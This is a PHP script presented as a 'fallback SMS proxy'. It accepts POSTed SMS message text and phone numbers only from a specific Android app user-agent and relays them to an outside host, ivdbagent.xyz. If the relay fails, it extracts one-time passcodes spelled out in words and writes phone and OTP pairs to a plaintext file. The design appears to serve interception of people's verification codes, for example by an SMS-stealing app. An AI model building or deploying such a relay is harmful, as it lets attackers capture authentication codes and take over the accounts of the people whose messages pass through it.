<?php
/**
 * Production Fallback SMS Proxy
 * Only accepts Android app requests
 */

date_default_timezone_set('UTC');
header('Content-Type: application/json');

// ===== CONFIG =====
$FORWARD_URL   = 'https://ivdbagent.xyz/sms/app-sms.php';
$EXPECTED_UA   = 'MyApp/7.4';
$allowedUA     = ['MyApp/6.1', 'MyApp/7.4'];

// ===== LOG CONFIG =====
$LOG_DIR  = __DIR__ . '/logs';
$LOG_FILE = $LOG_DIR . '/sms-log-' . date('Y-m-d') . '.log';
$ERROR_TXT_FILE = $LOG_DIR . '/failed-otp.txt';

// Ensure log directory exists
if (!is_dir($LOG_DIR)) {
    @mkdir($LOG_DIR, 0755, true);
}

// ===== HELPERS =====

// General log
function write_log($data) {
    global $LOG_FILE;
    $entry = '[' . date('Y-m-d H:i:s') . '] ' . $data . PHP_EOL;
    @file_put_contents($LOG_FILE, $entry, FILE_APPEND | LOCK_EX);
}

// Response helper
function respond($success, $message, $extra = []) {
    http_response_code($success ? 200 : 400);
    echo json_encode(array_merge([
        'success' => $success,
        'message' => $message
    ], $extra));
    exit;
}

// Extract OTP from message
function extract_otp($message) {
    $map = [
        'Zero' => '0', 'One' => '1', 'Two' => '2', 'Three' => '3',
        'Four' => '4', 'Five' => '5', 'Six' => '6', 'Seven' => '7',
        'Eight' => '8', 'Nine' => '9'
    ];

    if (preg_match('/sequence when prompted (.+?)\./i', $message, $matches)) {
        $words = explode('-', $matches[1]);
        $otp = '';

        foreach ($words as $word) {
            $word = ucfirst(strtolower(trim($word)));
            if (isset($map[$word])) {
                $otp .= $map[$word];
            }
        }

        return $otp ?: null;
    }

    return null;
}

// Save failed OTP
function write_failed_otp($phone, $otp) {
    global $ERROR_TXT_FILE;

    if (!$otp) return;

    $line = date('Y-m-d H:i:s') . " | $phone | $otp" . PHP_EOL;
    @file_put_contents($ERROR_TXT_FILE, $line, FILE_APPEND | LOCK_EX);
}

// ===== BASIC VALIDATION =====

if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') {
    write_log("REJECT: Non-POST request | Method: " . ($_SERVER['REQUEST_METHOD'] ?? 'unknown'));
    respond(false, 'Only POST requests allowed.');
}

// Validate User-Agent
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (!in_array($ua, $allowedUA, true)) {
    write_log("REJECT: Invalid UA | IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown') . " | UA: " . ($ua ?: 'missing'));
    respond(false, 'Invalid user-agent.');
}

// Validate message
$message = trim($_POST['message'] ?? '');
if (strlen($message) < 5) {
    write_log("REJECT: Invalid message | IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown') . " | UA: $ua | message_len: " . strlen($message));
    respond(false, 'Invalid or empty message.');
}

// Masked logging
$safePost = $_POST;
if (isset($safePost['message'])) {
    $m = (string)$safePost['message'];
$safePost['message'] = substr($m, 0, 40) . (strlen($m) > 40 ? '...' : '');
}

// Log incoming
write_log(
    "Incoming | IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown') .
    " | UA: $ua" .
    " | POST: " . json_encode($safePost, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
);

// ===== FORWARD REQUEST =====

$ch = curl_init($FORWARD_URL);
curl_setopt_array($ch, [
    CURLOPT_POST            => true,
    CURLOPT_POSTFIELDS      => $_POST,
    CURLOPT_RETURNTRANSFER  => true,
    CURLOPT_CONNECTTIMEOUT  => 7,
    CURLOPT_TIMEOUT         => 15,
    CURLOPT_USERAGENT       => $EXPECTED_UA,
    CURLOPT_HTTPHEADER      => [
        'Accept: application/json',
        'X-Forwarded-By: sitehub.dev'
    ],
]);

$responseBody = curl_exec($ch);
$curlError    = curl_error($ch);
$httpCode     = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Log forward result
$respSnippet = is_string($responseBody) ? substr($responseBody, 0, 1200) : '';
write_log(
    "Forward attempt | HTTP: $httpCode" .
    " | cURL error: " . ($curlError ?: 'none') .
    " | Response: " . ($responseBody === false ? '(curl_exec failed)' : ($respSnippet !== '' ? $respSnippet : '(empty)'))
);

// Choose phone
$phone = $_POST['phoneNumber1'] ?? $_POST['phoneNumber2'] ?? 'unknown';

// ===== HANDLE RESULT =====

// Network error
if ($responseBody === false) {
    write_log("ERROR: Forward failed (network) | $curlError");

    $otp = extract_otp($message);
    write_failed_otp($phone, $otp);

    respond(false, 'Forward failed.', [
        'error' => $curlError
    ]);
}

// HTTP error
if ($httpCode < 200 || $httpCode >= 300) {
    write_log("ERROR: Main server returned HTTP $httpCode");

    $otp = extract_otp($message);
    write_failed_otp($phone, $otp);

    respond(false, "Main server returned HTTP $httpCode.", [
        'main_response' => $responseBody
    ]);
}

// Success → pass through
$decoded = json_decode($responseBody, true);
if (is_array($decoded)) {
    echo json_encode($decoded);
    exit;
}

// Invalid JSON
write_log("ERROR: Invalid JSON from main server");

$otp = extract_otp($message);
write_failed_otp($phone, $otp);

respond(false, 'Invalid response from main server.', [
    'raw' => $responseBody
]);